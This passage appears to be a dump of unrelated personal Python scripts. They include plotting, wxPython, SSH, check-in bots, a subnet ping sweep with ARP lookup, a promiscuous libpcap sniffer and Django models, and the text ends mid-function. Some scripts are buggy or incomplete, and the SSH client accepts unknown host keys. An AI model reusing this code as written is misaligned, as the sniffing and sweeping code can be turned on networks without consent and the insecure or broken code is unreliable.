self.SetSizeHintsSz( wx.DefaultSize, wx.DefaultSize )
bSizer1 = wx.BoxSizer( wx.VERTICAL )
self.m_panel1 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.TAB_TRAVERSAL )
bSizer1.Add( self.m_panel1, 1, wx.EXPAND |wx.ALL, 5 )
self.m_button3 = wx.Button( self, wx.ID_ANY, u"MyButton", wx.DefaultPosition, wx.DefaultSize, 0 )
bSizer1.Add( self.m_button3, 0, wx.ALL, 5 )
self.SetSizer( bSizer1 )
self.Layout()
self.Centre( wx.BOTH )
# Connect Events
self.m_button3.Bind( wx.EVT_BUTTON, self.OnButton )
#self.m_panel1.Bind(wx.EVT_IDLE,self.OnIdel)
self.timer=wx.Timer(self)
self.Bind(wx.EVT_TIMER,self.OnIdel,self.timer)
def OnIdel(self,evnet):
#cam = VideoCapture.Device()
self.cam.saveSnapshot('test.jpg')
img=wx.Image("test.jpg",wx.BITMAP_TYPE_ANY).ConvertToBitmap()
dc=wx.ClientDC(self.m_panel1)
dc.DrawBitmap(img,0,0,False)
def OnButton( self, event ):
self.cam = VideoCapture.Device()
#cam.saveSnapshot('test.jpg')
self.timer.Start(100)
event.Skip()
if __name__=='__main__':
app=wx.App()
frame=MyFrame1(None)
frame.Show(True)
app.MainLoop() | Python |
#coding:utf-8
#!/usr/bin/env python
__author__ = 'SAF'
import re
if __name__=='__main__':
txt = open(r'C:\Users\SAF\Desktop\fish_log.txt').read()
#print txt
#txt = 'Fish 7 ss'
pattern1 = re.compile(r'Fish 7 attemps to attack \w+')
m1=re.findall(pattern1,txt)
#print m
# for i,each in enumerate(m1):
# print i,each
# pattern = re.compile(r'Fish 7 attemps to attack \w+')
pattern2 = re.compile(r'Fish \d+ attemps to attack Fish 8 at ')
m2=re.findall(pattern2,txt)
#print m
for i,each in enumerate(m2):
print i,each
| Python |
# coding:utf-8
#!/usr/bin/env python
__author__ = 'XingHua'
"""
"""
from pydbg import *
dbg=pydbg()
heap_free_count = 0
def heap_free_handler(dbg):
global printf_count
heap_free_count += 1
print "enter heap free handler ", heap_free_count
return DBG_CONTINUE
def entry_point_handler(dbg):
print "enter the entry point"
#resolve the function address
func_addr = dbg.func_resolve("KERNEL32.dll", "HeapFree")
#test the different between set restore=True to set restore=False
if func_addr:
dbg.bp_set(func_addr, restore=True, handler=heap_free_handler)
else:
print "resolve printf failed"
return DBG_CONTINUE
def main():
target = r"F:\MYPROJECTS\Ex15\Debug\Ex15.exe"
pe = pefile.PE(target)
dbg = pydbg()
#if it's a console program, so set create_new_console = True
dbg.load(target, create_new_console=True)
#set a break point at the entry point
entry_point = pe.OPTIONAL_HEADER.AddressOfEntryPoint + pe.OPTIONAL_HEADER.ImageBase
dbg.bp_set(entry_point, handler=entry_point_handler)
dbg.run()
if __name__=="__main__":
main() | Python |
#coding:utf-8
#!/usr/env/bin python
__author__ = 'SIOM'
a='''本系统选用德国TOPAS公司的ATM 241
气溶胶发生器,该发生器可产生最高浓度大于108
颗/cm3 的多分散气溶胶粒子,且浓度可调节,能
够满足检漏系统对高浓度粒子的需求。管路中的喷
嘴装置和压差计用于测量管道中的风量值。三通管
路设计一路为主气流管,用作测试气流;另一路为
旁通管,在更换被测过滤器过程中主气流电动阀关
闭时打开。这样一方面可以防止在更换过滤器时,
高浓度气溶胶污染检测环境;另一方面使得检测下
一只过滤器时,上游粒子浓度稳定时间大大缩短,
减少等待时间。
'''
a='''主气流风管与被测过滤器之间为一漏斗形风
管,被测过滤器通过一个适配板卧式放置在二维扫
描平台上。漏斗形风管的出风口尺寸最大可放置
1220 mm × 610 mm 规格的过滤器,针对不同规格
的过滤器设计了对应尺寸的适配板以及相应尺寸的
围板,使被测过滤器的下游气流与周围环境的气流
隔离,以避免周围环境对漏点检测造成影响。上下
游粒子计数器均采用Lighthouse公司的Remote 1104
粒子计数器,上位机可通过RS485 对其进行控制。
由于检漏过程中上游管路的粒子浓度非常高,超出
了Remote 1104 的饱和浓度,故安置了3 台德国
TOPAS 公司的稀释比为100:1 的DIL 550 稀释器,
检测过程中根据实际需要串联相应数量的稀释器。
上游采样探头安置在漏斗形风管中间,下游采样探
头固定在一个可在滤芯上方二维移动的探头臂上,
其定位精度可达1 mm,探头和滤芯的距离可人工
调节。
'''
b = a.split('\n')
c = ''
for each in b:
c=c+each
print c | Python |
#-*- coding:utf8 -*-
#!/usr/bin/env python
__author__ = 'SIOM'
import numpy as np
import matplotlib.pyplot as plt
filename=r'c:\Data14H15M9S.txt'
data1_plot=plt.plotfile(filename,(2,),delimiter='\t')
ax=plt.gca()
plt.show()
#data1=data1_plot.get_data()
#plt.show() | Python |
__author__ = 'SIOM'
from mpl_toolkits.mplot3d import Axes3D
import matplotlib
import numpy as np
from matplotlib import cm
from matplotlib import pyplot as plt
step = 0.04
maxval = 1.0
fig = plt.figure()
ax = fig.add_subplot(111, projection='3d')
# create supporting points in polar coordinates
r = np.linspace(0,1.25,50)
p = np.linspace(0,2*np.pi,50)
R,P = np.meshgrid(r,p)
# transform them to cartesian system
X,Y = R*np.cos(P),R*np.sin(P)
Z = ((R**2 - 1)**2)
ax.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap=cm.jet)
ax.set_zlim3d(0, 1)
ax.set_xlabel(r'$\phi_\mathrm{real}$')
ax.set_ylabel(r'$\phi_\mathrm{im}$')
ax.set_zlabel(r'$V(\phi)$')
plt.show() | Python |
__author__ = 'SIOM'
"""
An example of how to use Basemap in pyqt4 application.
Copyright(C) 2011 dbzhang800#gmail.com
"""
from matplotlib.backends.backend_qt4agg import FigureCanvasQTAgg as FigureCanvas
from matplotlib.figure import Figure
from mpl_toolkits.basemap import Basemap
from PyQt4 import QtGui
class Widget(FigureCanvas):
def __init__(self, parent=None, width=5, height=4, dpi=100):
fig = Figure(figsize=(width, height), dpi=100)
FigureCanvas.__init__(self, fig)
self.setParent(parent)
self.axes = fig.add_subplot(111)
map = Basemap(ax=self.axes)
map.drawcoastlines()
map.drawcountries()
map.drawmapboundary()
map.fillcontinents(color='coral', lake_color='aqua')
map.drawmapboundary(fill_color='aqua')
self.setWindowTitle("PyQt4 and Basemap -- dbzhang800")
if __name__ == "__main__":
import sys
app = QtGui.QApplication(sys.argv)
w = Widget()
w.show()
sys.exit(app.exec_()) | Python |
#-*- coding:utf-8 -*-
#!/usr/bin/env python
__author__ = 'aaqqxx'
'''
用于处理EN1822程序中,生成的下游粒子数3D柱状图。
'''
import matplotlib
matplotlib.use('TkAgg')
import matplotlib.pyplot as plt
import numpy as np
from mpl_toolkits.mplot3d import Axes3D
from matplotlib.patches import Rectangle
import sys
from time import sleep
#plt.ion() # set plot to animated
def plot_bar3_en1822(data_all):
xx = data_all[:, 0]
yy = data_all[:, 1]
zz = data_all[:, 2]
fig = plt.figure()
fig.show()
#ax1=fig.add_subplot(121)
#ax1.plot(zz)
#ax1.bar(np.arange(zz.shape[0]),zz)
#ax2=fig.add_subplot(122,projection='3d')
ax2 = fig.add_subplot(111, projection='3d')
ax2.bar3d(xx, yy, np.zeros(xx.shape[0]), 1, 1, zz, 'b', alpha=0.8)
print len(zz),zz.shape
for each in xrange(len(zz)):
fig.canvas.draw()
#sleep(0.5)
zz += 100
print "zz[%d]" % each,zz[each]
ax2.bar3d(xx, yy, np.zeros(xx.shape[0]), 1, 1, zz, 'b', alpha=0.8)
#plt.show()
#fig.show()
def plot_bar3_en1822_1(data_all):
xx = data_all[:, 0]
yy = data_all[:, 1]
zz = data_all[:, 2]
fig = plt.figure()
fig.show()
ax2 = fig.add_subplot(111, projection='3d')
ax2.bar3d(xx, yy, np.zeros(xx.shape[0]), 1, 1, zz, 'b', alpha=0.8)
# print len(zz),zz.shape
# for each in xrange(len(zz)):
# plt.draw()
# #sleep(0.5)
# zz[each] += 100
# print "zz[%d]" % each,zz[each]
# ax2.bar3d(xx, yy, np.zeros(xx.shape[0]), 1, 1, zz, 'b', alpha=0.8)
plt.show()
#fig.show()
if __name__ == '__main__':
if len(sys.argv) == 1:
for each in sys.argv:
print len(sys.argv), each
data_all = np.loadtxt(ur'.\Data8H55M37S.txt')
else:
data_all = np.loadtxt(sys.argv[1])
#用于模拟扫描到45%时的3D柱状图效果。
for each in range(len(data_all)):
if each>len(data_all)*0.45:
# print data_all[each][2]
data_all[each][2]=0.1 #等于0的时候有runtime warning
else:
data_all[each][2]= data_all[each][2] +30
plot_bar3_en1822_1(data_all)
| Python |
__author__ = 'SIOM'
from matplotlib.pylab import * # pylab is the easiest approach to any plotting
import time # we'll do this rendering i real time
ion() # interaction mode needs to be turned off
x = arange(0,2*pi,0.01) # we'll create an x-axis from 0 to 2 pi
line, = plot(x,x) # this is our initial plot, and does nothing
line.axes.set_ylim(-3,3) # set the range for our plot
starttime = time.time() # this is our start time
t = 0 # this is our relative start time
while(t < 5.0): # we'll limit ourselves to 5 seconds.
# set this to while(True) if you want to loop forever
t = time.time() - starttime # find out how long the script has been running
y = -2*sin(x)*sin(t) # just a function for a standing wave
# replace this with any function you want to animate
# for instance, y = sin(x-t)
line.set_ydata(y) # update the plot data
draw() # redraw the canvas | Python |
__author__ = 'SIOM'
import numpy as np
from matplotlib import pyplot as plt
import random
from time import sleep
plt.ion() # set plot to animated
ydata = [0] * 50
ax1=plt.axes()
# make plot
line, = plt.plot(ydata)
plt.ylim([10,40])
# start data collection
while True:
#data = ser.readline().rstrip() # read data from serial
# port and strip line endings
sleep(1)
data = random.uniform(0,100)
#if len(data.split(".")) == 2:
ymin = float(min(ydata))-10
ymax = float(max(ydata))+10
plt.ylim([ymin,ymax])
ydata.append(data)
del ydata[0]
line.set_xdata(np.arange(len(ydata)))
line.set_ydata(ydata) # update the data
plt.draw() # update the plot | Python |
#coding:utf-8
#!/usr/bin/env python
__author__ = 'SAF'
from tkinter import *
import os, sys
from threading import Thread
from queue import Queue, Empty
import _thread
import time
from paramiko import SSHClient, Transport, AutoAddPolicy, WarningPolicy
import getpass
def start(client):
try:
client.connect(hostname='127.0.0.1', port=22, username='root', password=pw)
return True
except Exception as e:
client.close()
print(e)
return False
def check(client, outqueue, inqueue):
chan = client.get_transport().open_session()
cmd = inqueue.get()
#print(cmd)
chan.exec_command(cmd)
while True:
if chan.recv_ready():
data = chan.recv(4096).decode('ascii')
outqueue.put("recv:\n%s" % data)
#print("recv:\n%s" %data )
#text.insert(END, "recv:\n%s" % chan.recv(4096).decode('ascii'))
if chan.recv_stderr_ready():
error = chan.recv_stderr(4096).decode('ascii')
outqueue.put("error:\n%s" % error)
#print("error:\n%s" %error)
#text.insert(END, "error:\n%s" % chan.recv_stderr(4096).decode('ascii'))
if chan.exit_status_ready():
exitcode = chan.recv_exit_status()
outqueue.put("exit status: %s" % exitcode)
#print("exit status: %s" %exitcode)
#text.insert(END, "exit status: %s" % chan.recv_exit_status())
#key = False
time.sleep(0.01)
client.close()
break
def reader(outqueue):
while True:
while outqueue.qsize():
try:
data = outqueue.get()
if data:
print(data)
except Excetpiton as e:
print(e)
#print(time.ctime())
#time.sleep(0.5)
def sender(outqueue, inqueue):
while True:
while outqueue.empty():
#cmd = input("Command to run: ")
outqueue.put("Command to run: ")
cmd = input()
if cmd == "exit":
client.close()
#print(cmd)
break
#print("running '%s'" % cmd)
outqueue.put("running '%s'" % cmd)
inqueue.put(cmd)
if __name__ == '__main__':
pw = getpass.getpass()
client = SSHClient()
#client.set_missing_host_key_policy(WarningPolicy())
client.set_missing_host_key_policy(AutoAddPolicy())
if not start(client):
#os._exit(0)
sys.exit(0)
outqueue = Queue()
inqueue = Queue()
#check(client)
#_thread.start_new_thread(check,(client,))
#time.sleep(100)
s = Thread(target=sender, args=(outqueue, inqueue, ))
s.daemon = True
s.start()
#s.join()
r = Thread(target=reader, args=(outqueue,))
r.daemon = True
r.start()
#r.join()
t = Thread(target=check, args=(client, outqueue, inqueue, ))
#t.daemon = True
t.start()
t.join()
#r.join()
#client.close() | Python |
#coding:utf-8
#!/usr/bin/env python
__author__ = 'SAF'
# Author: 柠之漠然 <shiniv.ning@gmail.com>
#
# 使用说明:
# 1.安装python 2.x
# 2.在脚本当前目录下建立'config'文件
# config文件中,一行一个账号,格式为
# ID1,email1,cookie1
# 不希望收到邮件提醒的email写'x' (邮件提醒在网络不好时可能引起错误导致崩溃)
# ID2,x,cookie2
# cookie可以在贴吧页面ctrl+shift+k执行alert(document.cookie);得到
# *最好是手机版贴吧的cookie
# *如果要获得多个账号的cookie,切换账号时要直接'清除cookie'不能'注销'
# 3.执行 python BaiduAutoCheckin.py
#
import os
import re
import urllib
import urllib2
import smtplib
import threading
from email.mime.text import MIMEText
# getBars
def getBars(cookie):
req = urllib2.Request(
url='http://wapp.baidu.com/m?tn=bdFBW&tab=favorite',
headers={
'cookie': cookie,
'User-Agent': 'mozilla firefox'
}
)
try:
res = urllib2.urlopen(req, timeout=5).read()
except:
return None
barList = re.findall(r'(?:\d+\.<a href="[^"]+">)([^<]+)(?:</a>)', res)
if barList:
return barList
else:
return None
# 签到函数
def sign(bar, cookie, again=20):
req = urllib2.Request(
url='http://wapp.baidu.com/f/?kw=' + urllib.quote(bar),
headers={
'cookie': cookie,
'User-Agent': 'mozilla firefox'
}
)
try:
res = urllib2.urlopen(req, timeout=10).read()
except:
return sign(bar, cookie)
# 得到地址
addr = re.search(r'(?<=<a href=")[^"]+(?=">签到)', res)
# 不能签到或者签到过
if not addr:
return '0'
# 替换'amp;'
addr = re.sub(r'amp;', '', addr.group())
req = urllib2.Request(
url='http://wapp.baidu.com' + addr,
headers={
'cookie': cookie,
'User-Agetn': 'mozilla firefox'
}
)
try:
res = urllib2.urlopen(req, timeout=10).read()
except:
# 超时
return sign(bar, cookie)
success = re.search(r'(?<="light">)\d(?=<\/span>)', res)
if not success:
if again:
return sign(bar, cookie, again - 1)
return '-1'
return success.group()
# sendmail
def sendMail(usr, email, text):
if email == 'x':
return
msg = MIMEText(text, 'plain', 'utf-8')
msg['Subject'] = usr + '百度贴吧签到结果'
msg['From'] = 'shiniv'
msg['To'] = email + ';'
try:
smtp = smtplib.SMTP_SSL('smtp.gmail.com', '25')
smtp.login('邮箱地址', '密码')
smtp.sendmail('发件人邮箱', email + ';', msg.as_string())
print '发送成功'
except Exception, e:
print '发送失败'
print e
finally:
smtp.quit()
# 每个ID的线程
class thread(threading.Thread):
def __init__(self, usr, email, cookie):
self.usr = usr
self.email = email
self.cookie = cookie
self.logs = ""
threading.Thread.__init__(self)
# run
def run(self):
bars = getBars(self.cookie)
if not bars:
print '%s 获取贴吧列表失败!\n' % self.usr
return
print '%s 共有%d个吧需要签到\n' % (self.usr, len(bars))
self.logs += '======>' + self.usr + ' 开始签到!\n'
for bar in bars:
res = sign(bar, self.cookie)
if res == '0':
self.logs += bar + '吧今天已经签到!\n'
elif res == '-1':
self.logs += bar + '吧\t###\t签到失败!请自己补签\n'
else:
self.logs += bar + '吧签到成功,经验+' + res + '\n'
self.logs += '======>' + self.usr + ' 签到完成!\n\n'
print self.logs
return sendMail(self.usr, self.email, self.logs)
# 启动,读配置文件
def init():
if os.path.exists('./' + 'config'):
f = open('config')
# 开线程
for line in f:
args = line.split(',')
thread(args[0], args[1], args[2]).start()
f.close()
else:
print '%s没有配置文件!' % os.getcwd()
os._exit(-1)
init() | Python |
#coding:utf-8
#!/usr/bin/env python
__author__ = 'SAF'
"""
金山快盘自动签到
"""
import urllib
import urllib2
import cookielib
import json
import re
class Login_kp:
def __init__(self):
cj = cookielib.CookieJar()
self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
urllib2.install_opener(self.opener)
self.opener.addheaders = [('User-agent', 'IE')]
def login(self, username, password):
url = 'https://www.kuaipan.cn/index.php?ac=account&op=login'
data = urllib.urlencode({'username': username, 'userpwd': password})
req = urllib2.Request(url, data)
try:
fd = self.opener.open(req)
except Exception, e:
print(u'网络连接错误!')
return False
if fd.url != "http://www.kuaipan.cn/home.htm":
print(u"用户名跟密码不匹配!")
return False
print(u'%s 登陆成功,准备签到.. ' % username),
return True
def logout(self):
url = 'http://www.kuaipan.cn/index.php?ac=account&op=logout'
req = urllib2.Request(url)
fd = self.opener.open(req)
fd.close()
def sign(self):
url = 'http://www.kuaipan.cn/index.php?ac=common&op=usersign'
req = urllib2.Request(url)
fd = self.opener.open(req)
sign_js = json.loads(fd.read())
if sign_js['state'] == -102:
print(u"今天已签到了!")
elif sign_js['state'] == 1:
print(u"签到成功! 获得积分:%d,总积分:%d;获得空间:%dM\n" % (
sign_js['increase'], sign_js['status']['points'], sign_js['rewardsize']))
else:
print(u"签到失败!")
fd.close()
if __name__ == '__main__':
l = Login_kp()
if l.login('your email', 'your password') == False:
exit(1)
l.sign() | Python |
# coding:utf-8
#!/usr/bin/env python
__author__ = 'XingHua'
"""
"""
from twisted.internet import protocol, reactor
class Echo(protocol.Protocol):
def dataReceived(self, data):
print data
self.transport.write(data)
class EchoFactory(protocol.Factory):
def buildProtocol(self, addr):
return Echo()
reactor.listenTCP(1234, EchoFactory())
reactor.run() | Python |
# coding:utf-8
#!/usr/bin/env python
'''
用来检测同一网段的IP,mac地址
'''
__author__ = 'SAF'
import threading
import os
from time import sleep
import time
from ip2mac import IP2MAC
def ping(ip, usedIP):
x = os.popen("ping %s -n 1" % str(ip))
res = x.readlines()
if check_res(res):
for each in res:
# print ip, res[3].decode('gbk'),
usedIP.append(ip)
return
else:
#print ip, "can't reach"
pass
def check_res(res):
for each in res:
if "TTL" in each:
return True
else:
continue
def is_off_line(use_able_ip_nums, threshold):
if use_able_ip_nums < threshold:
return True
else:
return False
if __name__ == "__main__":
ips = []
for i in xrange(1, 255):
ips.append("119.78.239.%d" % i)
ip_nums_file = open(r'ip_nums_file', 'a')
last_time = 100
while last_time:
#print ips
used_ip = []
for each in ips:
t = threading.Timer(0, ping, args=[each, used_ip])
t.start()
#ping("192.168.14.1")
sleep(20)
txt = "at " + time.ctime() + ' total used ip is ' + str(len(used_ip)) + '\n'
print txt,
if is_off_line(len(used_ip),10):
print "the net work is down...."
ip_nums_file.write(txt+"the network may be down!")
last_time = last_time - 1
ip_nums_file.close()
# while (1):
# g = IP2MAC()
# for each in used_ip:
# print each, g.getMac(each)
# # used_ip.sort()
# for each in used_ip:
# print each | Python |
# coding:utf-8
#!/usr/bin/env python
__author__ = 'XingHua'
"""
"""
from twisted.internet.protocol import ClientCreator, Protocol
from twisted.protocols.basic import LineReceiver
from twisted.internet import reactor
import sys
class Sender(Protocol):
def sendCommand(self, command):
print "invio", command
self.transport.write(command)
def dataReceived(self, data):
print "DATA", data
PORT = 1234
HOST = 'localhost'
def sendCommand(command):
def test(d):
print "Invio ->", command
d.sendCommand(command)
c = ClientCreator(reactor, Sender)
c.connectTCP(HOST, PORT).addCallback(test)
if __name__ == '__main__':
if len(sys.argv) != 2 or sys.argv[1] not in ['stop', 'next_call', 'force']:
sys.stderr.write('Usage: %s: {stop|next_call|force}\n' % sys.argv[0])
sys.exit(1)
sendCommand(sys.argv[1]+'\n')
reactor.run() | Python |
#coding:utf-8
#!/usr/bin/env python
__author__ = 'SAF'
| Python |
#coding:utf-8
#!/usr/bin/env python
__author__ = 'SAF'
f = file(r"C:\Users\SAF\Documents\Tencent Files\506926059\FileRecv\ZA.c",'r')
x = f.readlines()
# print x
txt = x[8]
print txt.decode('utf-8',
#errors='ignore'
).encode('gbk','replace')
# for i,each in enumerate(x):
# each = each.decode('utf-8').encode('utf-8')
# print i,each, | Python |
from distutils.core import setup
import py2exe
setup(console=['ping_all.py'])
| Python |
#coding:utf-8
#!/usr/bin/env python
__author__ = 'SAF'
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import platform
import re
class IP2MAC:
def __init__(self):
self.patt_mac = re.compile('([a-f0-9]{2}[-:]){5}[a-f0-9]{2}', re.I)
def getMac(self, ip):
sysstr = platform.system()
if sysstr == 'Windows':
macaddr = self.__forWin(ip)
elif sysstr == 'Linux':
macaddr = self.__forLinux(ip)
else:
macaddr = None
return macaddr or '00-00-00-00-00-00'
def __forWin(self, ip):
os.popen('ping -n 1 -w 500 {} > nul'.format(ip))
macaddr = os.popen('arp -a {}'.format(ip))
macaddr = self.patt_mac.search(macaddr.read())
if macaddr:
macaddr = macaddr.group()
else:
macaddr = None
return macaddr
def __forLinux(self, ip):
os.popen('ping -nq -c 1 -W 500 {} > /dev/null'.format(ip))
result = os.popen('arp -an {}'.format(ip))
result = self.patt_mac.search(result.read())
return result.group() if result else None
if __name__ =='__main__':
g = IP2MAC()
print g.getMac('119.78.239.2'),'\n', g.getMac('192.168.14.100') | Python |
#coding: utf-8
#/usr/bin/env python
"""
这个Python脚本用于登录北科大校园网,修改文件中的username和password后,将文件
放到启动项中,就可以实现开机自动登录校园网了。
Python版本:2.7.3
"""
import httplib
import subprocess
import re
def get_local_ipv6_address():
"""
This function will return your local machine's ipv6 address if it exits.
If the local machine doesn't have a ipv6 address,then this function return None.
This function use subprocess to execute command "ipconfig", then get the output
and use regex to parse it ,trying to find ipv6 address.
"""
getIPV6_process = subprocess.Popen("ipconfig", stdout = subprocess.PIPE)
output = (getIPV6_process.stdout.read())
ipv6_pattern='(([a-f0-9]{1,4}:){7}[a-f0-9]{1,4})'
# m = re.search(ipv6_pattern, str(output))
# 找到所有匹配的ipv6地址
m = re.findall(ipv6_pattern, str(output))
if m != []:
# return m.group()[1]
# 返回临时IPv6
print type(m)
return m[1][0]
else:
return None
if __name__ == '__main__':
#请将username和password修改成自己真实的校园网账户和密码
username = 's201212'
password = 'ddfds'
headers = {"Connection": "keep-alive",
"Cookie": "myusername=%s; pwd=%s; username=%s; smartdot=%s" % (username, password, username, password)}
body = "DDDDD=%s&upass=%s&0MKKey=123456789&v6ip=%s&savePWD=on" % (username, password, get_local_ipv6_address())
conn = httplib.HTTPConnection("202.204.48.82")
conn.request("POST", "/", body = body,headers = headers)
response = conn.getresponse()
print response.status, response.reason
| Python |
__author__ = 'XingHua'
#!/usr/bin/env python3.2
import ctypes,sys
from ctypes.util import find_library
#pcap = ctypes.cdll.LoadLibrary("libpcap.so")
pcap = None
if(find_library("libpcap") == None):
print("We are here!")
pcap = ctypes.cdll.LoadLibrary("libpcap.so")
else:
pcap = ctypes.cdll.LoadLibrary(find_library("libpcap"))
# required so we can access bpf_program->bf_insns
"""
struct bpf_program {
u_int bf_len;
struct bpf_insn *bf_insns;}
"""
class bpf_program(ctypes.Structure):
_fields_ = [("bf_len", ctypes.c_int),("bf_insns", ctypes.c_void_p)]
class sockaddr(ctypes.Structure):
_fields_=[("sa_family",ctypes.c_uint16),("sa_data",ctypes.c_char*14)]
class pcap_pkthdr(ctypes.Structure):
_fields_ = [("tv_sec", ctypes.c_long), ("tv_usec", ctypes.c_long), ("caplen", ctypes.c_uint), ("len", ctypes.c_uint)]
pkthdr = pcap_pkthdr()
program = bpf_program()
# prepare args
snaplen = ctypes.c_int(1500)
#buf = ctypes.c_char_p(filter)
optimize = ctypes.c_int(1)
mask = ctypes.c_uint()
net = ctypes.c_uint()
to_ms = ctypes.c_int(100000)
promisc = ctypes.c_int(1)
filter = bytes(str("port 80"), 'ascii')
buf = ctypes.c_char_p(filter)
errbuf = ctypes.create_string_buffer(256)
pcap_close = pcap.pcap_close
pcap_lookupdev = pcap.pcap_lookupdev
pcap_lookupdev.restype = ctypes.c_char_p
#pcap_lookupnet(dev, &net, &mask, errbuf)
pcap_lookupnet = pcap.pcap_lookupnet
#pcap_t *pcap_open_live(const char *device, int snaplen,int promisc, int to_ms,
#char *errbuf
pcap_open_live = pcap.pcap_open_live
#int pcap_compile(pcap_t *p, struct bpf_program *fp,const char *str, int optimize,
#bpf_u_int32 netmask)
pcap_compile = pcap.pcap_compile
#int pcap_setfilter(pcap_t *p, struct bpf_program *fp);
pcap_setfilter = pcap.pcap_setfilter
#const u_char *pcap_next(pcap_t *p, struct pcap_pkthdr *h);
pcap_next = pcap.pcap_next
# int pcap_compile_nopcap(int snaplen, int linktype, struct bpf_program *program,
# const char *buf, int optimize, bpf_u_int32 mask);
pcap_geterr = pcap.pcap_geterr
pcap_geterr.restype = ctypes.c_char_p
#check for default lookup device
dev = pcap_lookupdev(errbuf)
#override it for now ..
dev = bytes(str("wlan0"), 'ascii')
if(dev):
print("{0} is the default interface".format(dev))
else:
print("Was not able to find default interface")
if(pcap_lookupnet(dev,ctypes.byref(net),ctypes.byref(mask),errbuf) == -1):
print("Error could not get netmask for device {0}".format(errbuf))
sys.exit(0)
else:
print("Got Required netmask")
handle = pcap_open_live(dev,snaplen,promisc,to_ms,errbuf)
if(handle is False):
print("Error unable to open session : {0}".format(errbuf.value))
sys.exit(0)
else:
print("Pcap open live worked!")
if(pcap_compile(handle,ctypes.byref(program),buf,optimize,mask) == -1):
# this requires we call pcap_geterr() to get the error
err = pcap_geterr(handle)
print("Error could not compile bpf filter because {0}".format(err))
else:
print("Filter Compiled!")
if(pcap_setfilter(handle,ctypes.byref(program)) == -1):
print("Error couldn't install filter {0}".format(errbuf.value))
sys.exit(0)
else:
print("Filter installed!")
if(pcap_next(handle,ctypes.byref(pkthdr)) == -1):
err = pcap_geterr(handle)
print("ERROR pcap_next: {0}".format(err))
print("Got {0} bytes of data".format(pkthdr.len))
pcap_close(handle) | Python |
#coding:utf-8
#!/usr/bin/env python
__author__ = 'XingHua'
"""
1.最简单的办法是把文件读入一个大的列表中,然后统计列表的长度.如果文件的路径是以参数的形式filepath传递的,
那么只用一行代码就可以完成我们的需求了:
2.当外部系统提供统计行数的方法时,你可以使用它们(通过os.popen),如unix的wc - l.当然,通过自己的程序来完成会更简单
,快捷和通用.你可以假设大多数的文本文件都有合理的大小,所以把它们一次读入内存中处理是可行的.对于这样的情况,len方
法返回readlines的大小是最简单的.假如一个文件的大小大于内存(比如,有好几百M那么大),那个最简单的方法会变得难以忍
受的慢,因为操作系统要使用虚拟内存,并不停同过硬盘来换页.也可能出现失败的情况 ,就是虚拟内存不够大.一台有256M内存
的机器,当处理一个1G或2G大小的文件的时候,仍然可能出现严重的问题.在这种情况下,使用循环处理是比较好的方式,
enumerate保存了函数.
3.核心思想是统计缓存中回车换行字符的个数.这可能最不容易直接想到的方法,也是最不通用的方法,但它可能是最快的方法.
"""
def get_line_nums1(filepath):
count = len(open(filepath,'rU').readlines())
return count
def get_line_nums2(filepath):
count = -1
for count, line in enumerate(open(filepath, 'rU')):
pass
count += 1
return count
def get_line_nums3(thefilepath):
count = 0
thefile = open(thefilepath, 'rb')
while True:
buffer = thefile.read(8192*1024)
if not buffer:
break
count += buffer.count('\n')
thefile.close()
return count
if __name__=="__main__":
get_line_nums1()
get_line_nums2()
get_line_nums3() | Python |
#coding:utf-8
#!/usr/env/bin python
'''
最初的目的:GoogleChrome的缓存图片会自动把文件名去掉,浏览的图片想查看不太方便,想要实现在其缓冲的文件夹下面找到可能是
图片的文件,为其添加后缀方便在Windows系统中使用图像浏览器浏览。
在所需文件夹下,查找相应的文件名,找到后,添加文件后缀。
'''
__author__ = 'aaqqxx'
import os
import re
import sys
path=
def find_the_file(path=os.getcwd(),pattern="*"):
file_names_reg=os.listdir(path)
res=[]
for each in file_names_reg:
m=re.match(pattern,each)
if m is not None:
print m.group()
res.append(os.path.join(path,each))
else:
print "Find no file! Check the pattern!"
return res
def change_file_name(oldname,new_suffix):
os.rename(oldname,oldname+new_suffix)
def find_and_rename_files(path,pattern,new_suffix):
res=find_the_file(path,pattern)
[change_file_name(each,new_suffix) for each in res]
if __name__=="__main__":
if len(sys.argv)!=0:
res=find_the_file(sys.argv[1],'f_\w\w\w\w\w\w')
res=find_the_file(path=r'C:\Documents and Settings\SIOM\Local Settings\Application Data\Google\Chrome\User Data\Profile 1\Cache','f_\w\w\w\w\w\w')
for each in res:
print each | Python |
print("Hallo world")
| Python |
from django.db import models
from django.contrib import admin
from forfood.restaurant.models import Restaurant
class Menu(models.Model):
menu_name = models.CharField(max_length = 20, unique = True)
restaurant = models.ForeignKey(Restaurant)
#in_use = models.IntegerField()
def __unicode__(self):
return self.menu_name
class MenuAdmin(admin.ModelAdmin):
pass
admin.site.register(Menu, MenuAdmin)
class MenuCategory(models.Model):
menu = models.ForeignKey(Menu)
name = models.CharField(max_length = 20, unique = True)
def __unicode__(self):
return self.name
def get_menu_items(self):
return self.menuitem_set.all()
class MenuCategoryAdmin(admin.ModelAdmin):
pass
admin.site.register(MenuCategory, MenuCategoryAdmin)
class MenuItem(models.Model):
name = models.CharField(max_length = 20, unique = True)
price = models.IntegerField()
description = models.CharField(max_length = 100)
category = models.ForeignKey(MenuCategory)
def __unicode__(self):
return self.name
class MenuItemAdmin(admin.ModelAdmin):
pass
admin.site.register(MenuItem, MenuItemAdmin)
| Python |
"""
This file demonstrates writing tests using the unittest module. These will pass
when you run "manage.py test".
Replace this with more appropriate tests for your application.
"""
from django.test import TestCase
class SimpleTest(TestCase):
def test_basic_addition(self):
"""
Tests that 1 + 1 always equals 2.
"""
self.assertEqual(1 + 1, 2)
| Python |
from django.http import HttpResponse
from django.template import Context
from django.template.loader import get_template
from django.http import HttpResponse, Http404
from django.contrib.auth.models import User
from django.template import RequestContext
from django.http import HttpResponseRedirect
from django.contrib.auth import logout
from django.shortcuts import render_to_response
from forfood.restaurant.models import *
from forfood.menu.models import *
from forfood.order.models import *
def menu_page(request):
if request.method == 'GET':
if 'rest_id' in request.GET and 'menu_item_id' not in request.GET and 'menu_item_num' not in request.GET:
rest_id = request.GET['rest_id']
rest_p = Restaurant.objects.get(id=rest_id)
menu_item_all_list = display_menu_item(rest_id)
return render_to_response(
'menu/menu_list.html', {'menu_item_all_list':menu_item_all_list, 'rest_p':rest_p}
)
elif 'rest_id' in request.GET and 'menu_item_id' in request.GET and 'menu_item_num' in request.GET:
